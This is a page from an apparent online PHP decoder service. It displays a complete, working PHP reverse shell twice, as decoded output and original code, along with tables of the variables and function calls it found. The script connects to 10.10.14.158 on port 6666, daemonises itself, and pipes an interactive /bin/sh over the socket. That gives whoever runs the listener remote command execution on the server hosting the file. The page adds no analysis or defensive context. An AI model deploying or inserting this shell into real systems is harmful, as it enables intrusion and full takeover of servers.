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PHP Decode

<?php set_time_limit (0); $VERSION = "1.0"; $ip = '10.10.14.158'; // CHANGE THIS $p..

Decoded Output download

<?php 
 
set_time_limit (0); 
$VERSION = "1.0"; 
$ip = '10.10.14.158';  // CHANGE THIS 
$port = 6666;       // CHANGE THIS 
$chunk_size = 1400; 
$write_a = null; 
$error_a = null; 
$shell = 'uname -a; w; id; /bin/sh -i'; 
$daemon = 0; 
$debug = 0; 
 
// 
// Daemonise ourself if possible to avoid zombies later 
// 
 
// pcntl_fork is hardly ever available, but will allow us to daemonise 
// our php process and avoid zombies.  Worth a try... 
if (function_exists('pcntl_fork')) { 
	// Fork and have the parent process exit 
	$pid = pcntl_fork(); 
	 
	if ($pid == -1) { 
		printit("ERROR: Can't fork"); 
		exit(1); 
	} 
	 
	if ($pid) { 
		exit(0);  // Parent exits 
	} 
 
	// Make the current process a session leader 
	// Will only succeed if we forked 
	if (posix_setsid() == -1) { 
		printit("Error: Can't setsid()"); 
		exit(1); 
	} 
 
	$daemon = 1; 
} else { 
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal."); 
} 
 
// Change to a safe directory 
chdir("/"); 
 
// Remove any umask we inherited 
umask(0); 
 
// 
// Do the reverse shell... 
// 
 
// Open reverse connection 
$sock = fsockopen($ip, $port, $errno, $errstr, 30); 
if (!$sock) { 
	printit("$errstr ($errno)"); 
	exit(1); 
} 
 
// Spawn shell process 
$descriptorspec = array( 
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from 
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to 
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to 
); 
 
$process = proc_open($shell, $descriptorspec, $pipes); 
 
if (!is_resource($process)) { 
	printit("ERROR: Can't spawn shell"); 
	exit(1); 
} 
 
// Set everything to non-blocking 
// Reason: Occsionally reads will block, even though stream_select tells us they won't 
stream_set_blocking($pipes[0], 0); 
stream_set_blocking($pipes[1], 0); 
stream_set_blocking($pipes[2], 0); 
stream_set_blocking($sock, 0); 
 
printit("Successfully opened reverse shell to $ip:$port"); 
 
while (1) { 
	// Check for end of TCP connection 
	if (feof($sock)) { 
		printit("ERROR: Shell connection terminated"); 
		break; 
	} 
 
	// Check for end of STDOUT 
	if (feof($pipes[1])) { 
		printit("ERROR: Shell process terminated"); 
		break; 
	} 
 
	// Wait until a command is end down $sock, or some 
	// command output is available on STDOUT or STDERR 
	$read_a = array($sock, $pipes[1], $pipes[2]); 
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); 
 
	// If we can read from the TCP socket, send 
	// data to process's STDIN 
	if (in_array($sock, $read_a)) { 
		if ($debug) printit("SOCK READ"); 
		$input = fread($sock, $chunk_size); 
		if ($debug) printit("SOCK: $input"); 
		fwrite($pipes[0], $input); 
	} 
 
	// If we can read from the process's STDOUT 
	// send data down tcp connection 
	if (in_array($pipes[1], $read_a)) { 
		if ($debug) printit("STDOUT READ"); 
		$input = fread($pipes[1], $chunk_size); 
		if ($debug) printit("STDOUT: $input"); 
		fwrite($sock, $input); 
	} 
 
	// If we can read from the process's STDERR 
	// send data down tcp connection 
	if (in_array($pipes[2], $read_a)) { 
		if ($debug) printit("STDERR READ"); 
		$input = fread($pipes[2], $chunk_size); 
		if ($debug) printit("STDERR: $input"); 
		fwrite($sock, $input); 
	} 
} 
 
fclose($sock); 
fclose($pipes[0]); 
fclose($pipes[1]); 
fclose($pipes[2]); 
proc_close($process); 
 
// Like print, but does nothing if we've daemonised ourself 
// (I can't figure out how to redirect STDOUT like a proper daemon) 
function printit ($string) { 
	if (!$daemon) { 
		print "$string
"; 
	} 
} 
 
?> 

Did this file decode correctly?

Original Code

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.158';  // CHANGE THIS
$port = 6666;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

Function Calls

printit 1
set_time_limit 1
function_exists 1

Variables

$ip 10.10.14.158
$port 6666
$debug 0
$shell uname -a; w; id; /bin/sh -i
$daemon 0
$VERSION 1.0
$error_a 0
$write_a 0
$chunk_size 1400

Stats

MD5 36283360918f313ab8b60fd6df96864f
Eval Count 0
Decode Time 84 ms